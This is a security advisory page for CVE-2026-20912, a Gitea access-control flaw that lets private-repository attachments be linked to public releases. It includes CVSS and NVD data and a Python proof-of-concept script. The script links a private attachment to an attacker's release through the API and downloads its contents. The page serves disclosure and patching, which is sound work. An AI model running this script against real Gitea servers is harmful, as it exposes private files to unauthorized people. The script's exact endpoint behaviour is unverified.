Security Vulnerability Report
中文
CVE-2026-20912 CVSS 9.1 CRITICAL

CVE-2026-20912

Published: 2026-01-22 22:16:19
Last Modified: 2026-01-29 22:03:58
Source: 88ee5874-cf24-4952-aea0-31affedb7ff2

Description

Gitea does not properly validate repository ownership when linking attachments to releases. An attachment uploaded to a private repository could potentially be linked to a release in a different public repository, making it accessible to unauthorized users.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.25.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20912 PoC - Gitea Private Repository Attachment Unauthorized Access # This PoC demonstrates how an attacker can link a private repository attachment to a public release import requests import json TARGET_GITEA = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your_attacker_token" # Attacker needs an account with access to a public repo PUBLIC_REPO_OWNER = "attacker_username" PUBLIC_REPO_NAME = "attacker_public_repo" TARGET_RELEASE_ID = 1 # ID of the release in public repo PRIVATE_ATTACHMENT_ID = 12345 # Attachment ID from private repository headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Try to attach a private repository attachment to a public repository release # The vulnerable endpoint does not verify if the attachment belongs to the target repository url = f"{TARGET_GITEA}/api/v1/repos/{PUBLIC_REPO_OWNER}/{PUBLIC_REPO_NAME}/releases/{TARGET_RELEASE_ID}/attachments" payload = { "attachment_id": PRIVATE_ATTACHMENT_ID } print(f"[*] Attempting to link private attachment {PRIVATE_ATTACHMENT_ID} to public release...") print(f"[*] Target URL: {url}") response = requests.post(url, headers=headers, json=payload) if response.status_code == 200 or response.status_code == 201: print("[+] SUCCESS! Private attachment linked to public release") print(f"[+] Response: {response.text}") # Step 2: Access the attachment through the public repository attachment_data = response.json() attachment_url = attachment_data.get("browser_download_url") print(f"[*] Accessing attachment via public repo: {attachment_url}") download_response = requests.get(attachment_url) if download_response.status_code == 200: print("[+] SUCCESS! Downloaded private attachment content") print(f"[*] Content preview: {download_response.text[:500]}...") else: print(f"[-] FAILED! Status code: {response.status_code}") print(f"[-] Response: {response.text}") # Note: This PoC requires: # 1. Attacker account with token # 2. Access to a public repository where attacker can create releases # 3. Knowledge of the target attachment ID # 4. The vulnerable Gitea version < 1.25.4

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20912", "sourceIdentifier": "88ee5874-cf24-4952-aea0-31affedb7ff2", "published": "2026-01-22T22:16:19.297", "lastModified": "2026-01-29T22:03:58.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea does not properly validate repository ownership when linking attachments to releases. An attachment uploaded to a private repository could potentially be linked to a release in a different public repository, making it accessible to unauthorized users."}, {"lang": "es", "value": "Gitea no valida correctamente la propiedad del repositorio al vincular adjuntos a las versiones. Un adjunto subido a un repositorio privado podría vincularse potencialmente a una versión en un repositorio público diferente, haciéndolo accesible a usuarios no autorizados."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.25.4", "matchCriteriaId": "DFCB7D74-331D-4582-AB41-113A25BE8FAA"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.25.4/", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/36320", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/pull/36355", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.4", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-vfmv-f93v-37mw", "source": "88ee5874-cf24-4952-aea0-31affedb7ff2", "tags": ["Broken Link"]}]}}